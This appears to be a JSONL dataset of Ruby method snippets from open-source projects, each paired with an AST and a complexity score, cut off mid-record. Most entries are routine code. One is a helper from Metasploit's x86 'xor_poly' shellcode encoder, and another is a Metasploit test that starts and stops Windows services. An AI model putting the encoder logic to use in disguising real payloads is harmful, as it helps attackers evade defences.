{"repo_name":"puma","file_path":"./repos/puma/test/helpers/test_puma/response.rb","start_line":41,"raw_source":"def decode_body\n      decoded = String.new  # rubocop: disable Performance/UnfreezeString\n\n      body = self.split(RESP_SPLIT, 2).last\n      body = body.byteslice 0, body.bytesize - 5 # remove terminating bytes\n\n      loop do\n        size, body = body.split LINE_SPLIT, 2\n        size = size.to_i 16\n\n        decoded << body.byteslice(0, size)\n        body = body.byteslice (size+2)..-1       # remove segment ending \"\\r\\n\"\n        break if body.empty? || body.nil?\n      end\n      decoded\n    end","complexity_score":32.2,"ast_json":"{\"type\":\"def\",\"children\":[\"decode_body\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"decoded\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"String\"]},\"new\"]}]},{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"split\",{\"type\":\"const\",\"children\":[null,\"RESP_SPLIT\"]},{\"type\":\"int\",\"children\":[2]}]},\"last\"]}]},{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"byteslice\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"bytesize\"]},\"-\",{\"type\":\"int\",\"children\":[5]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"loop\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"size\"]},{\"type\":\"lvasgn\",\"children\":[\"body\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"split\",{\"type\":\"const\",\"children\":[null,\"LINE_SPLIT\"]},{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"lvasgn\",\"children\":[\"size\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"size\"]},\"to_i\",{\"type\":\"int\",\"children\":[16]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"decoded\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"byteslice\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"lvar\",\"children\":[\"size\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"byteslice\",{\"type\":\"irange\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"size\"]},\"+\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"int\",\"children\":[-1]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"nil?\"]}]},{\"type\":\"break\",\"children\":[]},null]}]}]},{\"type\":\"lvar\",\"children\":[\"decoded\"]}]}]}","id":"f0f0ef3b-cbe2-48ff-afd2-05d63f28dc6a"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/actions/contact_identify_action.rb","start_line":100,"raw_source":"def update_contact\n    @contact.attributes = params.slice(*@attributes_to_update).reject do |_k, v|\n      v.blank?\n    end.merge({ custom_attributes: custom_attributes, additional_attributes: additional_attributes })\n    # blank identifier or email will throw unique index error\n    # TODO: replace reject { |_k, v| v.blank? } with compact_blank when rails is upgraded\n    @contact.discard_invalid_attrs if discard_invalid_attrs\n    @contact.save!\n    enqueue_avatar_job\n  end","complexity_score":16.2,"ast_json":"{\"type\":\"def\",\"children\":[\"update_contact\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@contact\"]},\"attributes=\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"slice\",{\"type\":\"splat\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@attributes_to_update\"]}]}]},\"reject\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"blank?\"]}]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"custom_attributes\"]},{\"type\":\"send\",\"children\":[null,\"custom_attributes\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"additional_attributes\"]},{\"type\":\"send\",\"children\":[null,\"additional_attributes\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"discard_invalid_attrs\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@contact\"]},\"discard_invalid_attrs\"]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@contact\"]},\"save!\"]},{\"type\":\"send\",\"children\":[null,\"enqueue_avatar_job\"]}]}]}","id":"d490f99f-f591-474e-9218-ac1fa72fd670"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/test/modules/post/test/services.rb","start_line":43,"raw_source":"def test_start\n    return skip('session platform is not windows') unless session.platform == 'windows'\n\n    it \"should start #{datastore[\"SSERVICE\"]}\" do\n      ret = true\n      results = service_start(datastore['SSERVICE'])\n      if results != Windows::Error::SUCCESS\n        # Failed the first time, try to stop it first, then try again\n        service_stop(datastore['SSERVICE'])\n        results = service_start(datastore['SSERVICE'])\n      end\n      ret &&= (results == Windows::Error::SUCCESS)\n\n      ret\n    end\n    it \"should stop #{datastore[\"SSERVICE\"]}\" do\n      ret = true\n      results = service_stop(datastore['SSERVICE'])\n      ret &&= (results == Windows::Error::SUCCESS)\n\n      ret\n    end\n  end","complexity_score":46.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_start\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"platform\"]},\"==\",{\"type\":\"str\",\"children\":[\"windows\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"skip\",{\"type\":\"str\",\"children\":[\"session platform is not windows\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"it\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"should start \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SSERVICE\"]}]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ret\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"results\",{\"type\":\"send\",\"children\":[null,\"service_start\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SSERVICE\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"results\"]},\"!=\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Windows\"]},\"Error\"]},\"SUCCESS\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"service_stop\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SSERVICE\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"results\",{\"type\":\"send\",\"children\":[null,\"service_start\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SSERVICE\"]}]}]}]}]},null]},{\"type\":\"and_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ret\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"results\"]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Windows\"]},\"Error\"]},\"SUCCESS\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"ret\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"it\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"should stop \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SSERVICE\"]}]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ret\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"results\",{\"type\":\"send\",\"children\":[null,\"service_stop\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SSERVICE\"]}]}]}]},{\"type\":\"and_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ret\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"results\"]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Windows\"]},\"Error\"]},\"SUCCESS\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"ret\"]}]}]}]}]}","id":"7d98e418-56b7-42f7-9141-9b3853247092"}
{"repo_name":"sinatra","file_path":"./repos/sinatra/test/indifferent_hash_test.rb","start_line":137,"raw_source":"def test_value?\n    assert_operator @hash, :value?, :a\n    assert_operator @hash, :value?, :b\n    assert_operator @hash, :value?, 3\n    assert_operator @hash, :value?, { :a=>:a, ?b=>:b }\n    refute_operator @hash, :value?, :d\n  end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_value?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_operator\",{\"type\":\"ivar\",\"children\":[\"@hash\"]},{\"type\":\"sym\",\"children\":[\"value?\"]},{\"type\":\"sym\",\"children\":[\"a\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_operator\",{\"type\":\"ivar\",\"children\":[\"@hash\"]},{\"type\":\"sym\",\"children\":[\"value?\"]},{\"type\":\"sym\",\"children\":[\"b\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_operator\",{\"type\":\"ivar\",\"children\":[\"@hash\"]},{\"type\":\"sym\",\"children\":[\"value?\"]},{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"send\",\"children\":[null,\"assert_operator\",{\"type\":\"ivar\",\"children\":[\"@hash\"]},{\"type\":\"sym\",\"children\":[\"value?\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"a\"]},{\"type\":\"sym\",\"children\":[\"a\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"b\"]},{\"type\":\"sym\",\"children\":[\"b\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"refute_operator\",{\"type\":\"ivar\",\"children\":[\"@hash\"]},{\"type\":\"sym\",\"children\":[\"value?\"]},{\"type\":\"sym\",\"children\":[\"d\"]}]}]}]}","id":"9f2d792f-6fa6-4eb8-8071-d044dbdcc5a2"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/app/services/chat/create_message_interaction.rb","start_line":41,"raw_source":"def fetch_action(params:, message:)\n      message.blocks&.each do |item|\n        found_element =\n          item[\"elements\"]&.find { |element| element[\"action_id\"] == params.action_id }\n        return found_element if found_element\n      end\n      nil\n    end","complexity_score":13.9,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch_action\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"params\"]},{\"type\":\"kwarg\",\"children\":[\"message\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"blocks\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"item\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"found_element\",{\"type\":\"block\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"[]\",{\"type\":\"str\",\"children\":[\"elements\"]}]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"element\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"element\"]},\"[]\",{\"type\":\"str\",\"children\":[\"action_id\"]}]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"action_id\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"found_element\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"found_element\"]}]},null]}]}]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"1923b657-375a-45a4-8d8e-eccff886de8b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/packages/protection/create_rule_service.rb","start_line":13,"raw_source":"def execute\n        unless can?(current_user, :admin_package, project)\n          error_message = _('Unauthorized to create a package protection rule')\n          return service_response_error(message: error_message)\n        end\n\n        creation_params = creation_params_with_defaults(params.slice(*ALLOWED_ATTRIBUTES))\n        package_protection_rule = project.package_protection_rules.create(creation_params)\n\n        unless package_protection_rule.persisted?\n          return service_response_error(message: package_protection_rule.errors.full_messages)\n        end\n\n        ServiceResponse.success(payload: { package_protection_rule: package_protection_rule })\n      rescue StandardError => e\n        service_response_error(message: e.message)\n      end","complexity_score":32.8,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"admin_package\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"error_message\",{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Unauthorized to create a package protection rule\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"service_response_error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"error_message\"]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"creation_params\",{\"type\":\"send\",\"children\":[null,\"creation_params_with_defaults\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"slice\",{\"type\":\"splat\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ALLOWED_ATTRIBUTES\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"package_protection_rule\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"package_protection_rules\"]},\"create\",{\"type\":\"lvar\",\"children\":[\"creation_params\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"package_protection_rule\"]},\"persisted?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"service_response_error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"package_protection_rule\"]},\"errors\"]},\"full_messages\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"success\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"package_protection_rule\"]},{\"type\":\"lvar\",\"children\":[\"package_protection_rule\"]}]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"service_response_error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]}]},null]}]}","id":"23f6aafa-a191-4da8-b5fc-f9d61a6b0aad"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/arel/insert_manager.rb","start_line":5,"raw_source":"def initialize(table = nil)\n      @ast = Nodes::InsertStatement.new(table)\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"table\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@ast\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Nodes\"]},\"InsertStatement\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"table\"]}]}]}]}","id":"c81590bf-470b-4657-84df-348854f225d5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/legacy_github_import/client.rb","start_line":99,"raw_source":"def api_endpoint\n        if host.present? && api_version.present?\n          \"#{host}/api/#{api_version}\"\n        else\n          github_options[:site] || ::Octokit::Default.api_endpoint\n        end\n      end","complexity_score":13.9,"ast_json":"{\"type\":\"def\",\"children\":[\"api_endpoint\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"host\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"api_version\"]},\"present?\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"host\"]}]},{\"type\":\"str\",\"children\":[\"/api/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"api_version\"]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"github_options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"site\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Octokit\"]},\"Default\"]},\"api_endpoint\"]}]}]}]}","id":"5fcdec29-4250-423d-ab7a-45a08f084f34"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/presenters/sentry_error_presenter.rb","start_line":16,"raw_source":"def project_id\n    Gitlab::GlobalId.build(model_name: 'SentryProject', id: error.project_id).to_s\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"project_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"GlobalId\"]},\"build\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model_name\"]},{\"type\":\"str\",\"children\":[\"SentryProject\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"error\"]},\"project_id\"]}]}]}]},\"to_s\"]}]}","id":"66c59b03-23da-4d49-bbeb-31fab6e0fdb3"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/out_forward.rb","start_line":361,"raw_source":"def try_flush\n      return if @require_ack_response && @suspend_flush\n      super\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"try_flush\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@require_ack_response\"]},{\"type\":\"ivar\",\"children\":[\"@suspend_flush\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"2d619be3-fab0-45ae-be0d-6793ffac6ea6"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/categories_controller.rb","start_line":39,"raw_source":"def new\n    @category = @project.categories.build\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"new\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@category\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},\"categories\"]},\"build\"]}]}]}","id":"01bdc5d9-4b0f-47fc-acd8-eb9f11a7a98d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/github_import/importer/events/changed_label.rb","start_line":29,"raw_source":"def label_finder\n            Gitlab::GithubImport::LabelFinder.new(project)\n          end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"label_finder\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"GithubImport\"]},\"LabelFinder\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"project\"]}]}]}","id":"978de045-4784-4cbe-a2ea-2b02f3f7d7ec"}
{"repo_name":"flog","file_path":"./repos/flog/test/test_flog.rb","start_line":25,"raw_source":"def test_add_to_score\n    assert_empty @flog.calls\n    setup_my_klass\n\n    expected = {\"MyKlass::Base#mymethod\" => {\"blah\" => 42.0}}\n    assert_equal expected, @flog.calls\n\n    @flog.add_to_score \"blah\", 2\n\n    expected[\"MyKlass::Base#mymethod\"][\"blah\"] = 44.0\n    assert_equal expected, @flog.calls\n  end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_add_to_score\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_empty\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@flog\"]},\"calls\"]}]},{\"type\":\"send\",\"children\":[null,\"setup_my_klass\"]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"MyKlass::Base#mymethod\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"blah\"]},{\"type\":\"float\",\"children\":[42.0]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@flog\"]},\"calls\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@flog\"]},\"add_to_score\",{\"type\":\"str\",\"children\":[\"blah\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"[]\",{\"type\":\"str\",\"children\":[\"MyKlass::Base#mymethod\"]}]},\"[]=\",{\"type\":\"str\",\"children\":[\"blah\"]},{\"type\":\"float\",\"children\":[44.0]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@flog\"]},\"calls\"]}]}]}]}","id":"6e593334-d27b-44f5-8e9f-516874a03579"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/encoders/x86/xor_poly.rb","start_line":40,"raw_source":"def register_preservation_generate(flag, regs)\n    ret = ''\n    pop = 0b0101_1000\n    push = 0b0101_0000\n    if flag == 0\n      for r in regs\n        ret += [push | r].pack('C')\n      end\n    end\n    if flag == 1\n      for r in regs.reverse\n        ret += [pop | r].pack('C')\n      end\n    end\n    return ret\n  end","complexity_score":21.1,"ast_json":"{\"type\":\"def\",\"children\":[\"register_preservation_generate\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"flag\"]},{\"type\":\"arg\",\"children\":[\"regs\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ret\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"pop\",{\"type\":\"int\",\"children\":[88]}]},{\"type\":\"lvasgn\",\"children\":[\"push\",{\"type\":\"int\",\"children\":[80]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"flag\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"for\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"r\"]},{\"type\":\"lvar\",\"children\":[\"regs\"]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ret\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"push\"]},\"|\",{\"type\":\"lvar\",\"children\":[\"r\"]}]}]},\"pack\",{\"type\":\"str\",\"children\":[\"C\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"flag\"]},\"==\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"for\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"r\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"regs\"]},\"reverse\"]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ret\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pop\"]},\"|\",{\"type\":\"lvar\",\"children\":[\"r\"]}]}]},\"pack\",{\"type\":\"str\",\"children\":[\"C\"]}]}]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ret\"]}]}]}]}","id":"4021f03b-8421-46e8-ae66-a7128743b80f"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/project_phases/reschedule_service.rb","start_line":103,"raw_source":"def working_days_from(from, count:)\n      days = Day.working.from_range(from:, to: from.next_year).limit(count).pluck(days: :date)\n      if days.length < count && !days.empty?\n        years = count.ceildiv(days.length) + 1\n        days = Day.working.from_range(from:, to: from.next_year(years)).limit(count).pluck(days: :date)\n      end\n      days\n    end","complexity_score":29.35,"ast_json":"{\"type\":\"def\",\"children\":[\"working_days_from\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"from\"]},{\"type\":\"kwarg\",\"children\":[\"count\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"days\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Day\"]},\"working\"]},\"from_range\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"from\"]},{\"type\":\"lvar\",\"children\":[\"from\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"from\"]},\"next_year\"]}]}]}]},\"limit\",{\"type\":\"lvar\",\"children\":[\"count\"]}]},\"pluck\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"days\"]},{\"type\":\"sym\",\"children\":[\"date\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar